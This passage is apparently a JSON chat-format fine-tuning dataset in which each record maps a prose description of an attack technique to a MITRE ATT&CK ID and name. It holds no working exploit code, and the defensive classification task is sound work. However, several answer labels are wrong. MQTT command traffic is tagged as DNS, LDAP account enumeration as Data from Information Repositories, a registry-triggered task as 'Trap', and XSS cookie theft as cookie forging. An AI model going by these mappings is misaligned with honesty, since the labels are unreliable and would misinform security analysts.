                "content": "The intrusion leverages vDSO manipulation to inject malicious routines into privileged processes."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the threat actor deletes startup scripts and services entries to hide their foothold."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modify UEFI firmware settings to disable secure boot mechanisms or insert malicious code early in the boot process"
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a reverse proxy on a cloud provider and forwards malicious requests by exploiting domain fronting, making the traffic appear to originate from the cloud service’s domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mimikatz, the attacker extracts LSA Secrets, revealing cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invoked a Unix shell to execute 'wget' commands for fetching additional malicious components."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a backup to revert an Amazon Lightsail instance to its former state, undoing removal actions performed by the organization."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use VDSO hijacking to modify syscall interfaces, enabling them to inject and execute code inside sensitive processes."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor appends random bytes to network packets to obscure the true payload."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool accesses the registry subkey HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\CredMan to export cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures the clipboard data when the victim copies a credit‑card number."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a WMI event trigger that monitors for the creation of a specific service and then executes a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet performs reflection attacks by sending small UDP packets to vulnerable SNMP services, which reply with large responses to the spoofed victim address."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a compromised Google Cloud Service Account to retrieve secrets from Google Secret Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the platform's public APIs to harvest usernames, email addresses, and location data from open social networking sites."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes an attachment that, when opened, writes a malicious script to the startup folder, causing indirect execution on the next login."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adds a shortcut to the Startup folder that runs a credential‑stealing tool whenever the user logs into Windows."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches the local file system for documents and copies them to a staging directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the disk size and network settings of cloud VMs via compromised API credentials, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a compromise, the adversary configures the COR_PROFILER registry entry to a malicious DLL, enabling execution of arbitrary code within .NET applications."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the APC queue of a trusted process, placing malicious payloads that are executed when the process enters an alertable state."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits the MQTT protocol, publishing commands to a topic that the infected device subscribes to."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use social engineering to obtain the user's hardware token seed, allowing them to generate valid OTPs offline."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script programmatically adds a malicious root certificate to the Windows certificate store, allowing the attacker to spoof any server's TLS certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the POP3 protocol to collect victim emails that contain embedded payloads for further infection."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script executed Set-Acl in PowerShell to grant the attacker read/write access to C:\\Windows\\System32\\config."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the GRUB configuration on Linux machines to load a malicious kernel module at startup."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the victim's Active Directory using LDAP to enumerate user accounts and groups."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the \"bash\" shell to execute a series of commands that create a new user with administrative privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performed active scanning of the victim's IP block, logging any hosts that responded to SYN packets."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor configures socket filters to suppress alerts from network monitoring tools while maintaining malicious traffic flow."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the IIS configuration system, the adversary enabled a custom logging module that silently logs and exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the command interpreter to execute \"net localgroup administrators\" and list admin group members."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a SMB protocol flood, exhausting the endpoint's SMB service resources."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a lightweight VM using QEMU and executes its code within that environment, masking its activity from host-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a new entry to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce registry key for one‑time execution after reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor places a backdoor DLL in C:\\Windows\\System32 and sets the Winlogon ImagePath to point to it, ensuring execution on login."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker invokes mshta with a local .hta file to spawn a new process that loads a DLL for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the SetWindowDisplayAffinity function to create a window that is hidden from the task manager and desktop, allowing code execution without user awareness."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data by sending JSON‑encoded reports to a malicious RESTful endpoint over HTTPS, with no response handling implemented."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a public cloud provider to spin up a VPS, then install malware for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension records and forwards MFA tokens entered on web login pages."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses a custom protocol that encrypts payloads with ChaCha20 before transmitting them over a TCP connection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sets up a scheduled task that triggers a malicious script whenever a particular registry key is modified."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious SAML assertion into the Azure AD authentication flow, enabling the creation of a valid token for a compromised service account."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the OS network interfaces to list all Wi‑Fi connections and their BSSIDs."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a browser extension to bypass Same‑Origin Policy and access restricted site data."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team modifies the domain's account lockout duration to never lock out accounts."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stripped all embedded strings and debug symbols from their malicious executable to avoid detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable executes a PowerShell command to list installed software and searches for virtualization packages like 'VMware Tools' or 'Parallels Tools' to decide whether to self‑terminate."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging a cross-site scripting (XSS) flaw, the attacker steals the user's JWT stored in a cookie and sends it to a command‑and‑control server for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a macro that runs a script collecting the victim's browser language, timezone, and screen resolution."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a crafted DLL on the host and invokes rundll32.exe with specific function arguments to run the malicious code without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abused a temporary access token obtained from a misconfigured AWS S3 bucket's pre‑signed URL to gain elevated privileges on the account."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a vulnerable internal web service to overwrite the corporate portal's splash page with a defaced message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages PowerShell scripts to request Kerberos service tickets for privileged services and then uses hash‑cracking tools to recover the underlying password hashes (Kerberoasting technique)."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the Image File Execution Options registry entries for a service binary, malicious code is automatically executed whenever the service starts, providing persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a running process by injecting a malicious function into its memory and invoking it through a hook."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages social media posts with keyword-rich descriptions that are indexed by search engines, leading users to a malicious site when searching for popular topics."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set employs a custom script that accesses the macOS Keychain to harvest saved Wi‑Fi and email passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor enumerates SPNs in the Active Directory environment, requests corresponding Kerberos tickets, and then conducts dictionary attacks on the ticket data to recover service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the sh interpreter to modify file permissions, granting executable rights to malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a compromised partner's email account to request information about the victim's joint ventures and strategic alliances."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the threat group performs a credential dump by accessing the securityd memory region on the target."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves using the PowerShell module Import-Module with a signed, trusted developer utility to run code covertly."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor retrieves WHOIS records to discover expiration dates and registrar details of target websites."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into entering their credentials on a spoofed login page."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage WMI to remotely place a weaponized payload onto a neighboring workstation for later execution."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group extracts service account credentials from configuration files used by a privileged service."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries request custom threat reports from a confidential intelligence firm to identify potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues the `dir` command on a mapped network drive to confirm share contents."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the device's current operating system image with an older, vulnerable version to reintroduce known exploits."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query dark web marketplaces and closed-source repositories for stolen credentials and internal documents."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages PowerShell to register a scheduled task that encrypts and transfers data to a hidden SMB share."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module uploads sensitive documents to a malicious Telegram bot using its webhook for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
